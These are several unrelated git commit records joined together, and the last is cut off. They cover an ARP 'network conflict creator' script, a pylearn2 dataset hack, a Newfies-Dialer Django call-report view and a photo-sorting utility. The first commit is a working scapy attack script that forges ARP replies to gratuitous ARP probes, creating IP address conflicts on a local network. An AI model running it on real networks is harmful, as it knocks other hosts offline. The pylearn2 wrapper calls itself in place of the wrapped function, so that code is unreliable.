# scripts can be modified to call it themselves.
#preload()

<|endoftext|>


<commit_before>#!/usr/bin/env python

from base import Base
from argparse import ArgumentParser
from sys import exit
from scapy.all import sniff, Ether, ARP, sendp
from logging import getLogger, ERROR
getLogger("scapy.runtime").setLevel(ERROR)

Base.check_user()

parser = ArgumentParser(description='DHCP Starvation attack script')
parser.add_argument('-i', '--interface', type=str, help='Set interface name for send discover packets')
parser.add_argument('-p', '--packets', type=int, help='Number of packets (default: 100000)', default=100000)
parser.add_argument('-t', '--target_mac', type=str, help='Set target MAC address', default=None)
args = parser.parse_args()

_number_of_packets = int(args.packets)
_current_number_of_packets = 0

_current_network_interface = ""
if args.interface is None:
    _current_network_interface = Base.netiface_selection()
else:
    _current_network_interface = args.interface

_current_mac_address = Base.get_netiface_mac_address(_current_network_interface)
if _current_mac_address is None:
    print "This network interface does not have mac address!"
    exit(1)

_target_mac_address = None
if args.target_mac is not None:
    _target_mac_address = args.target_mac

def send_arp_reply(request):
    if request.haslayer(ARP):
        print "ARP!"
        global _current_number_of_packets
        global _current_mac_address
        if request[ARP].op == ARP.who_has and request[ARP].hwdst == "00:00:00:00:00:00":
            sendp(Ether(dst=request[ARP].hwsrc) / ARP(hwdst=request[ARP].hwsrc,
                                                      psrc=request[ARP].psrc))
        _current_number_of_packets += 1
        if _current_number_of_packets >= _number_of_packets:
            exit(0)

if __name__ == "__main__":
    print "Sniffing interface: " + str(_current_network_interface)
    if _target_mac_address is None:
        sniff(filter="arp", prn=send_arp_reply, iface=_current_network_interface)
    else:
        sniff(lfilter=lambda d: d.src == _target_mac_address,
              filter="arp", prn=send_arp_reply, iface=_current_network_interface)
<commit_msg>Fix network conflict creator.<commit_after>#!/usr/bin/env python

from base import Base
from argparse import ArgumentParser
from sys import exit
from scapy.all import sniff, Ether, ARP, sendp
from logging import getLogger, ERROR
getLogger("scapy.runtime").setLevel(ERROR)

Base.check_user()

parser = ArgumentParser(description='DHCP Starvation attack script')
parser.add_argument('-i', '--interface', type=str, help='Set interface name for send discover packets')
parser.add_argument('-p', '--packets', type=int, help='Number of packets (default: 100000)', default=100000)
parser.add_argument('-t', '--target_mac', type=str, help='Set target MAC address', default=None)
args = parser.parse_args()

_number_of_packets = int(args.packets)
_current_number_of_packets = 0

_current_network_interface = ""
if args.interface is None:
    _current_network_interface = Base.netiface_selection()
else:
    _current_network_interface = args.interface

_current_mac_address = Base.get_netiface_mac_address(_current_network_interface)
if _current_mac_address is None:
    print "This network interface does not have mac address!"
    exit(1)

_target_mac_address = None
if args.target_mac is not None:
    _target_mac_address = args.target_mac

def send_arp_reply(request):
    if request.haslayer(ARP):
        global _current_number_of_packets
        global _current_network_interface
        global _current_mac_address

        if request[ARP].op == 1:
            if request[Ether].dst == "ff:ff:ff:ff:ff:ff" and request[ARP].hwdst == "00:00:00:00:00:00":
                print "[INFO] Gratuitous ARP MAC: " + request[ARP].hwsrc + " IP: " + request[ARP].pdst
                sendp(Ether(dst=request[ARP].hwsrc, src=_current_mac_address)
                      / ARP(hwsrc=_current_mac_address, psrc=request[ARP].pdst,
                            hwdst=request[ARP].hwsrc, pdst=request[ARP].psrc, op=2),
                      iface=_current_network_interface, verbose=False)
                _current_number_of_packets += 1
                if _current_number_of_packets >= _number_of_packets:
                    exit(0)

if __name__ == "__main__":
    print "Sniffing interface: " + str(_current_network_interface)
    if _target_mac_address is None:
        sniff(filter="arp", prn=send_arp_reply, iface=_current_network_interface)
    else:
        sniff(lfilter=lambda d: d.src == _target_mac_address,
              filter="arp", prn=send_arp_reply, iface=_current_network_interface)
<|endoftext|>


<commit_before>#!/usr/bin/env python
# simple fix for Transformer class that should let us
# use it to create arbitrary augmentations
# Fix is tracked as an issue but not fixed:
# https://github.com/lisa-lab/pylearn2/issues/1257
# From a thread where someone was trying to do this exact same thing:
# https://groups.google.com/forum/#!searchin/pylearn-users/augmentation/pylearn-users/LLlBpl9z0MY/yQojBR0t2zkJ

import pylearn2.datasets.transformer_dataset

class TransformerDataset(pylearn2.datasets.transformer_dataset.TransformerDataset):
    def __init__(self, raw, transformer, cpu_only=False,
                 space_preserving=False):
        """
            .. todo::

                WRITEME properly

            Parameters
            ----------
            raw : pylearn2 Dataset
                Provides raw data
            transformer: pylearn2 Block
                To transform the data
        """
        self.__dict__.update(locals())
        del self.self
        self.raw.iterator.uneven = False

    @property
    def uneven(self):
        return False
<commit_msg>hack to fix uneven problem<commit_after>#!/usr/bin/env python
# simple fix for Transformer class that should let us
# use it to create arbitrary augmentations
# Fix is tracked as an issue but not fixed:
# https://github.com/lisa-lab/pylearn2/issues/1257
# From a thread where someone was trying to do this exact same thing:
# https://groups.google.com/forum/#!searchin/pylearn-users/augmentation/pylearn-users/LLlBpl9z0MY/yQojBR0t2zkJ

import pylearn2.datasets.transformer_dataset

class TransformerDataset(pylearn2.datasets.transformer_dataset.TransformerDataset):
    def __init__(self, raw, transformer, cpu_only=False,
                 space_preserving=False):
        """
            .. todo::

                WRITEME properly

            Parameters
            ----------
            raw : pylearn2 Dataset
                Provides raw data
            transformer: pylearn2 Block
                To transform the data
        """
        self.__dict__.update(locals())
        del self.self
        self.raw.iterator = append_uneven(self.raw.iterator)

    @property
    def uneven(self):
        return False

def append_uneven(func):
    # dirty hack to fix uneven problem
    def inner(*args,**keyargs):
        i = inner(*args,**keyargs)
        i.uneven = False
        return i
    return inner
<|endoftext|>


<commit_before>#
# Newfies-Dialer License
# http://www.newfies-dialer.org
#
# This Source Code Form is subject to the terms of the Mozilla Public
# License, v. 2.0. If a copy of the MPL was not distributed with this file,
# You can obtain one at http://mozilla.org/MPL/2.0/.
#
# Copyright (C) 2011-2013 Star2Billing S.L.
#
# The Initial Developer of the Original Code is
# Arezqui Belaid <info@star2billing.com>
#

from django.contrib.auth.decorators import login_required,\
    permission_required
from django.http import HttpResponse
from django.shortcuts import render_to_response
from django.template.context import RequestContext
from django.db.models import Sum, Avg, Count
from django.conf import settings
from dialer_campaign.function_def import user_dialer_setting_msg
from dialer_cdr.models import VoIPCall
from dialer_cdr.constants import CDR_REPORT_COLUMN_NAME
from dialer_cdr.forms import VoipSearchForm
from frontend_notification.views import notice_count
from common.common_functions import current_view, ceil_strdate,\
    get_pagination_vars
from datetime import datetime
import csv

def get_voipcall_daily_data(voipcall_list):
    """Get voipcall daily data"""
    select_data = {"starting_date": "SUBSTR(CAST(starting_date as CHAR(30)),1,10)"}

    # Get Total Rrecords from VoIPCall Report table for Daily Call Report
    total_data = voipcall_list.extra(select=select_data)\
        .values('starting_date')\
        .annotate(Count('starting_date'))\
        .annotate(Sum('duration'))\
        .annotate(Avg('duration'))\
        .order_by('-starting_date')

    # Following code will count total voip calls, duration
    if total_data:
        max_duration = max([x['duration__sum'] for x in total_data])
        total_duration = sum([x['duration__sum'] for x in total_data])
        total_calls = sum([x['starting_date__count'] for x in total_data])
        total_avg_duration = (sum([x['duration__avg'] for x in total_data])) / total_calls
    else:
        max_duration = 0
        total_duration = 0
        total_calls = 0
        total_avg_duration = 0

    data = {
        'total_data': total_data,
        'total_duration': total_duration,
        'total_calls': total_calls,
        'total_avg_duration': total_avg_duration,
        'max_duration': max_duration,
    }
    return data

@permission_required('dialer_cdr.view_call_detail_report', login_url='/')
@login_required
def voipcall_report(request):
    """VoIP Call Report

    **Attributes**:

        * ``form`` - VoipSearchForm
        * ``template`` - frontend/report/voipcall_report.html

    **Logic Description**:

        * Get VoIP call list according to search parameters for loggedin user

    **Important variable**:

        * ``request.session['voipcall_record_qs']`` - stores voipcall query set
    """
    sort_col_field_list = ['starting_date', 'leg_type', 'disposition',
                           'used_gateway', 'callerid', 'callid', 'phone_number',
                           'duration', 'billsec', 'amd_status']
    default_sort_field = 'starting_date'
    pagination_data =\
        get_pagination_vars(request, sort_col_field_list, default_sort_field)

    PAGE_SIZE = pagination_data['PAGE_SIZE']
    sort_order = pagination_data['sort_order']
    start_page = pagination_data['start_page']
    end_page = pagination_data['end_page']

    search_tag = 1
    action = 'tabs-1'
    form = VoipSearchForm(request.user)

    if request.method == 'POST':
        form = VoipSearchForm(request.user, request.POST)
        if form.is_valid():
            request.session['session_start_date'] = ''
            request.session['session_end_date'] = ''
            request.session['session_disposition'] = ''
            request.session['session_campaign_id'] = ''

            if request.POST.get('from_date'):
                # From
                from_date = request.POST['from_date']
                start_date = ceil_strdate(from_date, 'start')
                request.session['session_start_date'] = start_date

            if request.POST.get('to_date'):
                # To
                to_date = request.POST['to_date']
                end_date = ceil_strdate(to_date, 'end')
                request.session['session_end_date'] = end_date

            disposition = request.POST.get('status')
            if disposition != 'all':
                request.session['session_disposition'] = disposition

            campaign_id = request.POST.get('campaign')
            if campaign_id and int(campaign_id) != 0:
                request.session['session_campaign_id'] = int(campaign_id)

    post_var_with_page = 0
    try:
        if request.GET.get('page') or request.GET.get('sort_by'):
            post_var_with_page = 1
            start_date = request.session.get('session_start_date')
            end_date = request.session.get('session_end_date')
            disposition = request.session.get('session_disposition')
            campaign_id = request.session.get('session_campaign_id')
            form = VoipSearchForm(initial={'from_date': start_date.strftime('%Y-%m-%d'),
                                           'to_date': end_date.strftime('%Y-%m-%d'),
                                           'status': disposition,
                                           'campaign': campaign_id})
        else:
            post_var_with_page = 1
            if request.method == 'GET':
                post_var_with_page = 0
    except:
        pass

    if post_var_with_page == 0:
        # default
        tday = datetime.today()
        from_date = tday.strftime('%Y-%m-%d')
        to_date = tday.strftime('%Y-%m-%d')
        start_date = datetime(tday.year, tday.month, tday.day, 0, 0, 0, 0)
        end_date = datetime(tday.year, tday.month, tday.day, 23, 59, 59, 999999)
        disposition = 'all'
        campaign_id = 0
        form = VoipSearchForm(request.user,
                              initial={'from_date': from_date, 'to_date': to_date,
                                       'status': disposition, 'campaign': campaign_id})
        # unset session var
        request.session['session_start_date'] = start_date
        request.session['session_end_date'] = end_date
        request.session['session_disposition'] = disposition
        request.session['session_campaign_id'] = ''

    kwargs = {}
    if start_date and end_date:
        kwargs['starting_date__range'] = (start_date, end_date)
    if start_date and end_date == '':
        kwargs['starting_date__gte'] = start_date
    if start_date == '' and end_date:
        kwargs['starting_date__lte'] = end_date

    if disposition and disposition != 'all':
        kwargs['disposition__exact'] = disposition

    if campaign_id and int(campaign_id) != 0:
        kwargs['callrequest__campaign_id'] = campaign_id

    if not request.user.is_superuser:
        kwargs['user'] = request.user

    voipcall_list = VoIPCall.objects.filter(**kwargs)

    all_voipcall_list = voipcall_list.values_list('id', flat=True)

    # Session variable is used to get record set with searched option
    # into export file
    request.session['voipcall_record_qs'] = all_voipcall_list

    if request.GET.get('page') or request.GET.get('sort_by'):
        daily_data = request.session['voipcall_daily_data']
    else:
        if not voipcall_list:
            request.session['voipcall_daily_data'] = ''
        daily_data = get_voipcall_daily_data(voipcall_list)
        request.session['voipcall_daily_data'] = daily_data

    voipcall_list = voipcall_list.order_by(sort_order)[start_page:end_page]

    template = 'frontend/report/voipcall_report.html'
    data = {
        'form': form,
        'total_data': daily_data['total_data'],
        'total_duration': daily_data['total_duration'],
        'total_calls': daily_data['total_calls'],
        'total_avg_duration': daily_data['total_avg_duration'],
        'max_duration': daily_data['max_duration'],
        'module': current_view(request),
        'notice_count': notice_count(request),
        'dialer_setting_msg': user_dialer_setting_msg(request.user),
        'all_voipcall_list': all_voipcall_list,
        'voipcall_list': voipcall_list,
        'PAGE_SIZE': PAGE_SIZE,
        'CDR_REPORT_COLUMN_NAME': CDR_REPORT_COLUMN_NAME,
        'col_name_with_order': pagination_data['col_name_with_order'],
        'search_tag': search_tag,
        'start_date': start_date,
        'end_date': end_date,
        'action': action,
        'AMD': settings.AMD,
    }
    request.session['msg'] = ''
    request.session['error_msg'] = ''
    return render_to_response(template, data,
           context_instance=RequestContext(request))

@login_required
def export_voipcall_report(request):
    """Export CSV file of VoIP call record

    **Important variable**:

        * ``request.session['voipcall_record_qs']`` - stores voipcall query set

    **Exported fields**: [user, callid, callerid, phone_number, starting_date,
                          duration, disposition, used_gateway]
    """
    # get the response object, this can be used as a stream.
    response = HttpResponse(mimetype='text/csv')
    # force download.
    response['Content-Disposition'] = 'attachment;filename=export.csv'
    # the csv writer
    writer = csv.writer(response)

    # super(VoIPCall_ReportAdmin, self).queryset(request)
    if request.session.get('voipcall_record_qs'):
        qs = request.session['voipcall_record_qs']

        amd_status = ''
        if settings.AMD:
            amd_status = 'amd_status'

        writer.writerow(['user', 'callid', 'callerid', 'phone_number',
                         'starting_date', 'duration', 'billsec',
                         'disposition', 'hangup_cause', 'hangup_cause_q850',
                         'used_gateway', amd_status])
        for i in qs:
            gateway_used = i.used_gateway.name if i.used_gateway else ''
            amd_status = i.amd_status if settings.AMD else ''

            writer.writerow([
                i.user,
                i.callid,
                i.callerid,
                i.phone_number,
                i.starting_date,
                i.duration,
                i.billsec,
                i.disposition,
                i.hangup_cause,
                i.hangup_cause_q850,
                gateway_used,
                amd_status,
            ])
    return response
<commit_msg>update voipcall search form<commit_after>#
# Newfies-Dialer License
# http://www.newfies-dialer.org
#
# This Source Code Form is subject to the terms of the Mozilla Public
# License, v. 2.0. If a copy of the MPL was not distributed with this file,
# You can obtain one at http://mozilla.org/MPL/2.0/.
#
# Copyright (C) 2011-2013 Star2Billing S.L.
#
# The Initial Developer of the Original Code is
# Arezqui Belaid <info@star2billing.com>
#

from django.contrib.auth.decorators import login_required,\
    permission_required
from django.http import HttpResponse
from django.shortcuts import render_to_response
from django.template.context import RequestContext
from django.db.models import Sum, Avg, Count
from django.conf import settings
from dialer_campaign.function_def import user_dialer_setting_msg
from dialer_cdr.models import VoIPCall
from dialer_cdr.constants import CDR_REPORT_COLUMN_NAME
from dialer_cdr.forms import VoipSearchForm
from frontend_notification.views import notice_count
from common.common_functions import current_view, ceil_strdate,\
    get_pagination_vars
from datetime import datetime
import csv

def get_voipcall_daily_data(voipcall_list):
    """Get voipcall daily data"""
    select_data = {"starting_date": "SUBSTR(CAST(starting_date as CHAR(30)),1,10)"}

    # Get Total Rrecords from VoIPCall Report table for Daily Call Report
    total_data = voipcall_list.extra(select=select_data)\
        .values('starting_date')\
        .annotate(Count('starting_date'))\
        .annotate(Sum('duration'))\
        .annotate(Avg('duration'))\
        .order_by('-starting_date')

    # Following code will count total voip calls, duration
    if total_data:
        max_duration = max([x['duration__sum'] for x in total_data])
        total_duration = sum([x['duration__sum'] for x in total_data])
        total_calls = sum([x['starting_date__count'] for x in total_data])
        total_avg_duration = (sum([x['duration__avg'] for x in total_data])) / total_calls
    else:
        max_duration = 0
        total_duration = 0
        total_calls = 0
        total_avg_duration = 0

    data = {
        'total_data': total_data,
        'total_duration': total_duration,
        'total_calls': total_calls,
        'total_avg_duration': total_avg_duration,
        'max_duration': max_duration,
    }
    return data

@permission_required('dialer_cdr.view_call_detail_report', login_url='/')
@login_required
def voipcall_report(request):
    """VoIP Call Report

    **Attributes**:

        * ``form`` - VoipSearchForm
        * ``template`` - frontend/report/voipcall_report.html

    **Logic Description**:

        * Get VoIP call list according to search parameters for loggedin user

    **Important variable**:

        * ``request.session['voipcall_record_qs']`` - stores voipcall query set
    """
    sort_col_field_list = ['starting_date', 'leg_type', 'disposition',
                           'used_gateway', 'callerid', 'callid', 'phone_number',
                           'duration', 'billsec', 'amd_status']
    default_sort_field = 'starting_date'
    pagination_data =\
        get_pagination_vars(request, sort_col_field_list, default_sort_field)

    PAGE_SIZE = pagination_data['PAGE_SIZE']
    sort_order = pagination_data['sort_order']
    start_page = pagination_data['start_page']
    end_page = pagination_data['end_page']

    search_tag = 1
    action = 'tabs-1'
    form = VoipSearchForm(request.user)

    if request.method == 'POST':
        form = VoipSearchForm(request.user, request.POST)
        if form.is_valid():
            request.session['session_start_date'] = ''
            request.session['session_end_date'] = ''
            request.session['session_disposition'] = ''
            request.session['session_campaign_id'] = ''

            if request.POST.get('from_date'):
                # From
                from_date = request.POST['from_date']
                start_date = ceil_strdate(from_date, 'start')
                request.session['session_start_date'] = start_date

            if request.POST.get('to_date'):
                # To
                to_date = request.POST['to_date']
                end_date = ceil_strdate(to_date, 'end')
                request.session['session_end_date'] = end_date

            disposition = request.POST.get('status')
            if disposition != 'all':
                request.session['session_disposition'] = disposition

            campaign_id = request.POST.get('campaign')
            if campaign_id and int(campaign_id) != 0:
                request.session['session_campaign_id'] = int(campaign_id)

    post_var_with_page = 0
    try:
        if request.GET.get('page') or request.GET.get('sort_by'):
            post_var_with_page = 1
            start_date = request.session.get('session_start_date')
            end_date = request.session.get('session_end_date')
            disposition = request.session.get('session_disposition')
            campaign_id = request.session.get('session_campaign_id')
            form = VoipSearchForm(request.user,
                                  initial={'from_date': start_date.strftime('%Y-%m-%d'),
                                           'to_date': end_date.strftime('%Y-%m-%d'),
                                           'status': disposition,
                                           'campaign': campaign_id})
        else:
            post_var_with_page = 1
            if request.method == 'GET':
                post_var_with_page = 0
    except:
        pass

    if post_var_with_page == 0:
        # default
        tday = datetime.today()
        from_date = tday.strftime('%Y-%m-%d')
        to_date = tday.strftime('%Y-%m-%d')
        start_date = datetime(tday.year, tday.month, tday.day, 0, 0, 0, 0)
        end_date = datetime(tday.year, tday.month, tday.day, 23, 59, 59, 999999)
        disposition = 'all'
        campaign_id = 0
        form = VoipSearchForm(request.user,
                              initial={'from_date': from_date, 'to_date': to_date,
                                       'status': disposition, 'campaign': campaign_id})
        # unset session var
        request.session['session_start_date'] = start_date
        request.session['session_end_date'] = end_date
        request.session['session_disposition'] = disposition
        request.session['session_campaign_id'] = ''

    kwargs = {}
    if start_date and end_date:
        kwargs['starting_date__range'] = (start_date, end_date)
    if start_date and end_date == '':
        kwargs['starting_date__gte'] = start_date
    if start_date == '' and end_date:
        kwargs['starting_date__lte'] = end_date

    if disposition and disposition != 'all':
        kwargs['disposition__exact'] = disposition

    if campaign_id and int(campaign_id) != 0:
        kwargs['callrequest__campaign_id'] = campaign_id

    if not request.user.is_superuser:
        kwargs['user'] = request.user

    voipcall_list = VoIPCall.objects.filter(**kwargs)

    all_voipcall_list = voipcall_list.values_list('id', flat=True)

    # Session variable is used to get record set with searched option
    # into export file
    request.session['voipcall_record_qs'] = all_voipcall_list

    if request.GET.get('page') or request.GET.get('sort_by'):
        daily_data = request.session['voipcall_daily_data']
    else:
        if not voipcall_list:
            request.session['voipcall_daily_data'] = ''
        daily_data = get_voipcall_daily_data(voipcall_list)
        request.session['voipcall_daily_data'] = daily_data

    voipcall_list = voipcall_list.order_by(sort_order)[start_page:end_page]

    template = 'frontend/report/voipcall_report.html'
    data = {
        'form': form,
        'total_data': daily_data['total_data'],
        'total_duration': daily_data['total_duration'],
        'total_calls': daily_data['total_calls'],
        'total_avg_duration': daily_data['total_avg_duration'],
        'max_duration': daily_data['max_duration'],
        'module': current_view(request),
        'notice_count': notice_count(request),
        'dialer_setting_msg': user_dialer_setting_msg(request.user),
        'all_voipcall_list': all_voipcall_list,
        'voipcall_list': voipcall_list,
        'PAGE_SIZE': PAGE_SIZE,
        'CDR_REPORT_COLUMN_NAME': CDR_REPORT_COLUMN_NAME,
        'col_name_with_order': pagination_data['col_name_with_order'],
        'search_tag': search_tag,
        'start_date': start_date,
        'end_date': end_date,
        'action': action,
        'AMD': settings.AMD,
    }
    request.session['msg'] = ''
    request.session['error_msg'] = ''
    return render_to_response(template, data,
           context_instance=RequestContext(request))

@login_required
def export_voipcall_report(request):
    """Export CSV file of VoIP call record

    **Important variable**:

        * ``request.session['voipcall_record_qs']`` - stores voipcall query set

    **Exported fields**: [user, callid, callerid, phone_number, starting_date,
                          duration, disposition, used_gateway]
    """
    # get the response object, this can be used as a stream.
    response = HttpResponse(mimetype='text/csv')
    # force download.
    response['Content-Disposition'] = 'attachment;filename=export.csv'
    # the csv writer
    writer = csv.writer(response)

    # super(VoIPCall_ReportAdmin, self).queryset(request)
    if request.session.get('voipcall_record_qs'):
        qs = request.session['voipcall_record_qs']

        amd_status = ''
        if settings.AMD:
            amd_status = 'amd_status'

        writer.writerow(['user', 'callid', 'callerid', 'phone_number',
                         'starting_date', 'duration', 'billsec',
                         'disposition', 'hangup_cause', 'hangup_cause_q850',
                         'used_gateway', amd_status])
        for i in qs:
            gateway_used = i.used_gateway.name if i.used_gateway else ''
            amd_status = i.amd_status if settings.AMD else ''

            writer.writerow([
                i.user,
                i.callid,
                i.callerid,
                i.phone_number,
                i.starting_date,
                i.duration,
                i.billsec,
                i.disposition,
                i.hangup_cause,
                i.hangup_cause_q850,
                gateway_used,
                amd_status,
            ])
    return response
<|endoftext|>


<commit_before>
import os
import sys
import re
import subprocess as sp
import json
import tempfile
import datetime
import time

import hashlib

image_nonraw_ext = [
    'jpg', 'jpeg', 'tif', 'tiff'
]

image_raw_ext = [
    '3fr', 'ari',
    'arw', 'bay', 'crw', 'cr2', 'cap', 'dcs',
    'dcr', 'dng', 'drf', 'eip', 'erf', 'fff',
    'iiq', 'k25', 'kdc', 'mdc', 'mef', 'mos',
    'mrw', 'nef', 'nrw', 'obm', 'orf', 'pef',
    'ptx', 'pxn', 'r3d', 'raf', 'raw', 'rwl',
    'rw2', 'rwz', 'sr2', 'srf', 'srw', 'x3f'
]

image_ext = image_nonraw_ext + image_raw_ext

video_ext = [
    'mov', 'qt', 'avi', 'mp4', 'mpg', 'dv',
    'flv', 'mpeg', 'm2v', 'swf', 'wma', 'wmv',
    'm2ts', 'mts', 'm2t', 'ts',
    'm4a', 'm4b', 'm4p', 'm4v'
]

image_date_meta = [
    'DateTimeOriginal', 'DateTime'
]

video_date_meta = [
    'DateTimeOriginal', 'CreationDate', 'CreateDate'
]

def file_md5(filename, blocksize=2**20):
    m = hashlib.md5()
    #print('getting md5 of \"{}\"'.format(self.path))
    with open( filename, "rb" ) as f:
        while True:
            buf = f.read(blocksize)
            if not buf:
                break
            m.update( buf )
    return m.hexdigest()

def file_json(filename):
    exif = sp.check_output ( [ 'exiftool', '-j', '-sort', filename ], universal_newlines=True )
    return json.loads(exif.rstrip('\r\n'))[0]

def file_setdate(filename, date):
    datestr = "{:04d}:{:02d}:{:02d} {:02d}:{:02d}:{:02d}".format(int(date[0]), int(date[1]), int(date[2]), int(date[3]), int(date[4]), int(date[5]))
    st = time.strptime(datestr, "%Y:%m:%d %H:%M:%S")
    systime = time.mktime(st)
    os.utime(filename, (systime, systime))
    return

def file_setmetadate(filename, date):
    comstr = "File dates corrected by photosort on {}".format(datetime.datetime.strftime(datetime.datetime.now(), '%Y-%m-%d %H:%M:%S'))
    datestr = "{:04d}:{:02d}:{:02d} {:02d}:{:02d}:{:02d}".format(int(date[0]), int(date[1]), int(date[2]), int(date[3]), int(date[4]), int(date[5]))
    code = sp.check_call ( [ 'exiftool', '-AllDates={}'.format(datestr), '-overwrite_original', '-comment={}'.format(comstr), filename ] )
    return

def good_date(date):
    iyear = int(date[0])
    imonth = int(date[1])
    iday = int(date[2])
    now = datetime.datetime.now()
    nowyear = int(datetime.datetime.strftime(now, '%Y'))
    # does the year make sense?
    if iyear == 0:
        return False
    if iyear > nowyear:
        return False
    if (imonth < 1) or (imonth > 12):
        return False
    if (iday < 1) or (iday > 31):
        return False
    return True

def file_ckname(filename, md5):
    mat = re.match(r'(.*)\.(.*)', filename)
    if mat is None:
        raise RuntimeError('file name {} does not have an extension'.format(filename))
    root = mat.group(1)
    ext = mat.group(2)
    ckmat = re.match(r'(.*)_ck([a-z0-9]{4})$', root)
    full = filename
    if ckmat is None:
        full = "{}_ck{}.{}".format(root, md5[0:4], ext)
    else:
        origroot = ckmat.group(1)
        ck = ckmat.group(2)
        if ck != md5[0:4]:
            raise RuntimeError('file name {} does not match checksum({})'.format(filename, md5))
    return full

def file_rootname(full):
    mat = re.match(r'(.*)\.(.*)', full)
    if mat is None:
        raise RuntimeError('file name {} does not have an extension'.format(full))
    root = mat.group(1)
    ext = mat.group(2)
    ckmat = re.match(r'(.*)_ck[a-z0-9]{4}$', root)
    filename = full
    if ckmat is not None:
        origroot = ckmat.group(1)
        filename = "{}.{}".format(origroot, ext)
    return filename

def is_image(filename):
    base = os.path.basename(filename)
    mat = re.match('(.*)\.(.*)', base)
    if mat is None:
        raise RuntimeError('file name {} does not have an extension'.format(filename))
    root = mat.group(1)
    ext = mat.group(2)
    if ext.lower() in image_ext:
        return True
    else:
        return False

def is_video(filename):
    base = os.path.basename(filename)
    mat = re.match('(.*)\.(.*)', base)
    if mat is None:
        raise RuntimeError('file name {} does not have an extension'.format(filename))
    root = mat.group(1)
    ext = mat.group(2)
    if ext.lower() in video_ext:
        return True
    else:
        return False

def file_date(filename, meta, prior):
    ret = {}
    ret['year'] = None
    ret['month'] = None
    ret['day'] = None
    ret['hour'] = None
    ret['minute'] = None
    ret['second'] = None
    datepat = re.compile(r'^(\d\d\d\d):(\d\d):(\d\d)\s+(\d\d):(\d\d):(\d\d).*')
    for p in prior:
        if p in meta.keys():
            v = meta[p]
            mat = datepat.match(str(v))
            if mat is not None:
                ret['year'] = mat.group(1)
                ret['month'] = mat.group(2)
                ret['day'] = mat.group(3)
                ret['hour'] = mat.group(4)
                ret['minute'] = mat.group(5)
                ret['second'] = mat.group(6)
                #print("file_date:  using key {}".format(p))
                break
    if ret['year'] is None:
        # We have no metadata date information.  Just use the file
        # modification time (not ideal).
        t = os.path.getmtime(filename)
        tstr = str(datetime.datetime.fromtimestamp(t))
        datepat = re.compile(r'^(\d*)-(\d*)-(\d*)\s+(\d*):(\d*):(\d*)\s*')
        mat = datepat.match(tstr)
        if mat is not None:
            ret['year'] = mat.group(1)
            ret['month'] = mat.group(2)
            ret['day'] = mat.group(3)
            ret['hour'] = mat.group(4)
            ret['minute'] = mat.group(5)
            ret['second'] = str(int(float(mat.group(6))))
        else:
            raise RuntimeError('cannot get date/time from metadata or filesystem for {}', filename)
    return ret

def album_append(root, album, files):
    albumdir = os.path.join(root, 'albums', album)
    if not os.path.isdir(albumdir):
        os.mkdir(albumdir)
    for f in files:
        filename = os.path.basename(os.path.abspath(f))
        linkpath = os.path.join(albumdir, filename)
        if not os.path.islink(linkpath):
            #print("link {} --> {}".format(linkpath, f))
            os.symlink(f, linkpath)
    return

class Image(object):

    def __init__(self, path):
        self.type = 'image'
        self.path = path
        bname = os.path.basename(self.path)
        mat = re.match('(.*)\.(.*)', bname)
        if not mat:
            raise RuntimeError('file {} does not have an extension'.format(self.path))
        self.root = mat.group(1)
        self.ext = mat.group(2)

        if self.ext.lower() in image_raw_ext:
            # We have a raw file.  Extract the embedded image
            # and use this to grab the EXIF tags.
            tempname = ''
            with tempfile.NamedTemporaryFile(delete=False) as temp:
                tempname = temp.name
                proc_dcraw = sp.Popen ( [ 'dcraw', '-c', '-e', self.path ], stdout=temp, stderr=None, stdin=None )
                proc_dcraw.wait()
            self.meta = file_json(tempname)
            os.unlink(tempname)
        elif self.ext.lower() in image_nonraw_ext:
            self.meta = file_json(self.path)
        else:
            raise RuntimeError('file {} is not an image'.format(self.path))

        metadate = file_date(self.path, self.meta, image_date_meta)

        self.year = metadate['year']
        self.month = metadate['month']
        self.day = metadate['day']
        self.hour = metadate['hour']
        self.minute = metadate['minute']
        self.second = metadate['second']

        self.md5 = file_md5(self.path)
        rname = file_rootname(bname)
        self.name = file_ckname(rname, self.md5)
        self.uid = '{}{}{}:{}{}{}:{}'.format(self.year, self.month, self.day, self.hour, self.minute, self.second, self.name)
        #print('Image ctor {}'.format(self.path))
        #print('  name = {}'.format(self.name))
        #print('  root = {}, ext = {}'.format(self.root, self.ext))
        #print('  md5 = {}'.format(self.md5))
        #print('  {}-{}-{} {}:{}:{}'.format(self.year, self.month, self.day, self.hour, self.minute, self.second))
        #print('  UID = {}'.format(self.uid))
        #print('  exif:')
        #for k, v in self.meta.items():
        #    print ('    {} = {}'.format(k, v))

class Video(object):

    def __init__(self, path):
        self.type = 'video'
        self.path = path
        bname = os.path.basename(self.path)
        mat = re.match('(.*)\.(.*)', bname)
        if not mat:
            raise RuntimeError('file {} does not have an extension'.format(self.path))
        self.root = mat.group(1)
        self.ext = mat.group(2)

        if self.ext.lower() in video_ext:
            self.meta = file_json(self.path)
        else:
            raise RuntimeError('file {} is not a video'.format(self.path))

        metadate = file_date(self.path, self.meta, video_date_meta)

        self.year = metadate['year']
        self.month = metadate['month']
        self.day = metadate['day']
        self.hour = metadate['hour']
        self.minute = metadate['minute']
        self.second = metadate['second']

        self.md5 = file_md5(self.path)
        rname = file_rootname(bname)
        self.name = file_ckname(rname, self.md5)
        self.uid = '{}{}{}:{}{}{}:{}'.format(self.year, self.month, self.day, self.hour, self.minute, self.second, self.name)
        #print('Video ctor {}'.format(self.path))
        #print('  name = {}'.format(self.name))
        #print('  root = {}, ext = {}'.format(self.root, self.ext))
        #print('  md5 = {}'.format(self.md5))
        #print('  {}-{}-{} {}:{}:{}'.format(self.year, self.month, self.day, self.hour, self.minute, self.second))
        #print('  UID = {}'.format(self.uid))
        #print('  exif:')
        #for k, v in self.meta.items():
        #    print ('    {} = {}'.format(k, v))

if __name__ == "__main__":

    path = sys.argv[1]
    img = Image(path)
    #vid = Video(path)
    print(img.path)
    print(img.md5)
    full = file_ckname(img.path, img.md5)
    print(full)
    full2 = file_ckname(full, img.md5)
    print(full2)
    stripped = file_rootname(full2)
    print(stripped)
    stripped2 = file_rootname(stripped)
    print(stripped2)
<commit_msg>Make album symlinks into relative links<commit_after>
import os
import sys
import re
import subprocess as sp
import json
import tempfile
import datetime
import time

import hashlib

image_nonraw_ext = [
    'jpg', 'jpeg', 'tif', 'tiff'
]

image_raw_ext = [
    '3fr', 'ari',
    'arw', 'bay', 'crw', 'cr2', 'cap', 'dcs',
    'dcr', 'dng', 'drf', 'eip', 'erf', 'fff',
    'iiq', 'k25', 'kdc', 'mdc', 'mef', 'mos',
    'mrw', 'nef', 'nrw', 'obm', 'orf', 'pef',
